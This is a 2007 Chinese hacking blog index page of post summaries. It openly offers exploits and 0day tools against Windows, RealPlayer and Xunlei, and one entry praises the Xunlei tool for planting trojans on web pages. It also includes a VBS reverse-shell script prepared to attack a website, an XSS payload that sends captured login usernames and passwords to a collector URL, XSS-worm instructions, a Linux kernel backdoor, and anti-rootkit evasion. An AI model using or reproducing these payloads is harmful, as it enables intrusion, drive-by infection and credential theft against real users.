酒水不犯茶水

SEH源码赏析之C篇(ZT)

摘要:
1.起因
C++程序员对try,catch,throw都应该很熟悉,能知道VC怎么实现它的人就不多了,不过网络世界使很多人知道了它与SEH (structured exception handling）有密切关系,我也不例外,也是在若干年前从网络知道了SEH,并且大致也知道SEH的流程.但是和多数人一样在我的实践也很少直接使用 SEH,对SEH也就仅限于网络上一些文章的介绍.曾经在用Windbg对某些软件作分析,我遇到了断点失效的情况,查找资料介绍是SEH中的 Handler清除了调试寄存器,在分析.....................
阅读全文

posted @ 2007-12-27 21:36 009 阅读(1206) | 评论 (1) | 编辑收藏

饶过现代Anti-Rookit工具的内核模块扫描(ZT)

摘要: 本文描述了一些方法，可以饶过目前主流的现代Anti-rootkit工具，包括但不限于:
Icesword 最新版
Gmer最新版
Rootkit unhooker 最新版
DarkSpy 最新版
AVG Anti-rootkit最新版
等等
................
阅读全文

posted @ 2007-12-27 21:32 009 阅读(487) | 评论 (0) | 编辑收藏

TCP版backshell的VBS脚本

摘要: '搞一个特殊的站准备用的，没想到，等写完了，洞补上了，郁闷
'by 009, baicker@hotmail.com
'date:071221

Dim revdata
set sock=WScript.createobject( "MSWinsock.Winsock" , "WSEvent_" )
set sc=createobject( "WScript.Shell" )
Set fso =CreateObject( "Scripting.FileSystemObject" )
sock.connect "127.0.0.1" , 1234
................

阅读全文

posted @ 2007-12-22 16:19 009 阅读(1110) | 评论 (0) | 编辑收藏

在同一个进程空间运行两个程序(ZT)

摘要:
　　众所周知，bo2k可以在一个指定的进程空间(比如explorer.exe进程)做为一个线程运行。本文试图找出一种方法，使得任意exe都可以在其他进程中以线程运行(当然，这里说的"任意"是有条件的，下面会讲到)。
　　为行文简单起见，我把先加载的exe称为宿主，后加载的exe称为客户。对于上面的例子，explorer.exe为宿主，bo2k.exe为客户。
基本知识
　　每一个exe都有一个缺省加载基址，一般都是0x400000。如果实际加载基址和缺省基址相同，程序中的重定位表就不需要修正(fixup),否则，就必须修正重定位表；

阅读全文

posted @ 2007-12-20 14:36 009 阅读(1178) | 评论 (0) | 编辑收藏

Microsoft Jet Engine MDB File Parsing Stack Overflow Vulnerability for xp 2k3 (fixed)

摘要: 之前的反弹sc有问题，请重新下载测试（071218）
阅读全文

posted @ 2007-12-18 12:23 009 阅读(939) | 评论 (0) | 编辑收藏

Windows Local Privilege Escalation Vulnerability Exploit(secdrv) for winxp & win2k3

摘要: secdrv local exp
winxp cn sp2, win2k3 cn sp1 测试通过

之前的版本只能xp下用，这个2k3也可以了，其实前段时间朋友给过我一个这个漏洞的1day，但是朋友的东西不能乱发，这个是自己写的，发出来大家恶心一下。阅读全文

posted @ 2007-12-17 16:34 009 阅读(1569) | 评论 (6) | 编辑收藏

收到同学寄给我的情书

posted @ 2007-12-15 21:58 009 阅读(1085) | 评论 (2) | 编辑收藏

Microsoft Jet Engine MDB File Parsing Stack Overflow Vulnerability for xp 2k3

摘要: Win2k3_CN SP1 msjet40.dll ver 4.0.9025.0 测试成功
WinXP_CN SP2 msjet40.dll ver 4.0.8618.0 测试成功

mdb_d_exp.exe 为debug版本
mdb_r_exp.exe 为relrease版本
之前的反弹sc有问题，请重新下载测试（071218）

阅读全文

posted @ 2007-12-01 06:29 009 阅读(1275) | 评论 (10) | 编辑收藏

搞定MDB最新溢出for win2003

posted @ 2007-11-30 03:14 009 阅读(1083) | 评论 (0) | 编辑收藏

MS07-017 windows 2000 and windows xp sp2 真正修改能用版本(fixed)

摘要: 注：Windows2000_CN SP2(我只有这台SP2的2k测试机)，WindowsXP_CN SP2测试通过
网上流传的都TMD垃圾不能用，不知道抄来抄去转来转去哪些代码转错了

这个是我自己修改过的
阅读全文

posted @ 2007-11-26 22:47 009 阅读(1045) | 评论 (2) | 编辑收藏

Windows Local Privilege Escalation Vulnerability Exploit

摘要: 小改了一下代码，这下好用了

WinXP_CN SP2测试通过
Win2k3测试蓝屏，注意保存文件哦阅读全文

posted @ 2007-11-26 18:46 009 阅读(1474) | 评论 (2) | 编辑收藏

Realplay ActiveX 0day 利用工具

摘要: 注：Windows2003_CN SP1 / WindowsXP_CN SP2 + RealPlay10.0 测试通过
好像10.5以下版本都中，这个似乎只能溢出一次，第一次溢出成功后，第二次开始会有realplay修复数据库的提示，点修复就中，取消不中

上次测试使用的"Windows 按钮突破专家" 4.5K 溢出没问题，但是"iecv.exe"那个87K
溢出的时候老是看不到界面，其实已经执行（进程中可以看到），不知道为什么(不知道是否大小问题)

另：IE5不中，代码中直接跳过了
阅读全文

posted @ 2007-11-25 20:25 009 阅读(783) | 评论 (7) | 编辑收藏

迅雷5 0day 利用工具

摘要: 迅雷官方最新版本迅雷(Thunder5.7.4.401)依然受此漏洞影响
挂马相当好用，只是如果用iframe，宽高不能为0
（pplayer.dll 组件版本号：1.2.3.49，CLSID:F3E70CEA-956E-49CC-B444-73AFE593AD7F）
阅读全文

posted @ 2007-11-25 20:19 009 阅读(637) | 评论 (0) | 编辑收藏

PSP 3.52 M33-2 播放UMD Video ISO(备忘)

posted @ 2007-11-23 11:05 009 阅读(1113) | 评论 (0) | 编辑收藏

JavaScript加密解密7种方法

摘要: 本文一共介绍了七种javascript加密方法：

　　在做网页时（其实是网页木马呵呵），最让人烦恼的是自己辛辛苦苦写出来的客户端IE运行的javascript代码常常被别人轻易的拷贝，实在让自己的心里有点不是滋味，要知道自己写点东西也挺累的......^*^

　　但我们也应该清楚地认识到因为javascript代码是在IE中解释执行，要想绝对的保密是不可能的，我们要做的就是尽可能的增大拷贝者复制的难度，让他知难而退（但愿~!~），下面我结合自己这几年来的实践，及个人研究的心得，和大家一起来探讨一下网页中javascript代码的加密解密技术。

　　以加密下面的javascript代码为例：
......

阅读全文

posted @ 2007-11-16 13:42 009 阅读(933) | 评论 (0) | 编辑收藏

Unicode编码表/0000-0FFF

posted @ 2007-11-16 10:24 009 阅读(19442) | 评论 (3) | 编辑收藏

VC编译优化设置

摘要: VC- Project Setting-Debug-Project Option语法解释

-优化-
/O1 最小化空间 minimize space
/Op[-] 改善浮点数一致性 improve floating-pt consistency
/O2 最大化速度 maximize speed
/Os 优选代码空间 favor code space
/Oa 假设没有别名 assume no aliasing
/Ot 优选代码速度 favor code speed
/Ob 内联展开（默认 n=0） inline expansion (default n=0)
/Ow 假设交叉函数别名 assume cross-function aliasing
/Od 禁用优化（默认值） disable optimizations (default)
/Ox 最大化选项。(/Ogityb2 /Gs) maximum opts. (/Ogityb1 /Gs)
/Og 启用全局优化阅读全文

posted @ 2007-11-16 10:20 009 阅读(1890) | 评论 (0) | 编辑收藏

autorun.inf完全操作手册(ZT)

摘要: 一、autorun.inf是windows下操纵光盘行为的一个文件，需要放在光盘根目录下，部分操作对于硬盘也适用。
二、autorun.inf是可以被禁止的。方法如下：
点击开始->运行，在文本框中输入regedit或者regedt32。依次展开HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Exploer，其中的NoDriveTypeAutoRun子键限制着Autorun的作用范围，默认为95（16进制）。
................
阅读全文

posted @ 2007-11-16 10:16 009 阅读(594) | 评论 (0) | 编辑收藏

Flash纯脚本生成饼图(ZT)

posted @ 2007-11-16 10:09 009 阅读(437) | 评论 (0) | 编辑收藏

清空代码防止查看源代码(ZT)

posted @ 2007-11-16 09:45 009 阅读(557) | 评论 (0) | 编辑收藏

一些XSS小技巧(ZT)

摘要: 1.最短的动态插入JS.
代码:
<x/**/style=xss:expression(document.appendChild(document.createElement('script')).src='xss.js')>

2.获取表单密码.
代码:
window.onload=function(){document.forms['login'].onsubmit=function(){var a=new Image();a.src="http://127.0.0.1/loveshell.php"+this.username.value+"&"+this.password.value;this.submit();}};
.......

阅读全文

posted @ 2007-11-08 13:11 009 阅读(1480) | 评论 (0) | 编辑收藏

程序多开器

摘要: 使用OD反汇编修改NateOn，虽然很麻烦，最终还是搞定了，后来发现网上有段代码，直接可以实现程序多开，测试了MSN、NateOn没问题，代码如下：

.386
.model flat, stdcall
option casemap :none

include windows.inc
include user32.inc
include kernel32.inc
includelib user32.lib
includelib kernel32.lib
............

阅读全文

posted @ 2007-11-07 16:54 009 阅读(767) | 评论 (0) | 编辑收藏

完整XSS wrom入侵流程(ZT)

摘要: 不说废话，且看怎么实现，我先拿SOHU BLOG做示范.

1.测试过滤字符,下面都是构造XSS所需要的关键字符(未包含全角字符,空格是个TABLE,\/前是真正的空格),在个人档案处看过滤了哪些.
’’;:!--"<javascript JAvaSCriPT>=&#{()} \/
结果
’’;:!--"=&#{()} // (&后是amp,论坛过滤了)
.........
阅读全文

posted @ 2007-11-07 10:53 009 阅读(436) | 评论 (0) | 编辑收藏

一个简单的Linux内核后门原型(ZT)

摘要: 这是一个在内核模块中实现的反连后门，大家看看这于应用层上的实现有什么不同吧，呵呵
/*
* Kernel mode connect backdoor,haha~
*
* just a demo module to teach you how to write a backdoor in kernel mode,
* i belive you can add more code to make it strong and powerful,wulala.
*
* by wzt <wzt#xsec.org>
*
*/
阅读全文

posted @ 2007-10-25 12:20 009 阅读(554) | 评论 (0) | 编辑收藏

VBS解决终端窗口中特殊快捷键问题

摘要: 写程序麻烦，还要传上去，幸好VBS每台服务器应该都可以运行的吧，很少会又禁止的
使用SendKeys搞定
例如呼出Cain使用果如下脚本：）
Set WshShell= Wscript.CreateObject("Wscript.Shell")
Wscript.Sleep 1500
WshShell.SendKeys "%{PGUP}"

以下位SendKeys的相关使用方法等
............

阅读全文

posted @ 2007-10-15 17:27 009 阅读(1136) | 评论 (1) | 编辑收藏

公告

常用链接

留言簿(113)

随笔分类

随笔档案

文章分类

相册

Link

搜索

最新评论

阅读排行榜

评论排行榜

酒水不犯茶水叶的离去，是风的追求还是树的不挽留？
BlogJava \| 首页 \| 发新随笔 \| 发新文章 \| 联系 \| 聚合 \| 管理	随笔：325 文章：0 评论：612 引用：0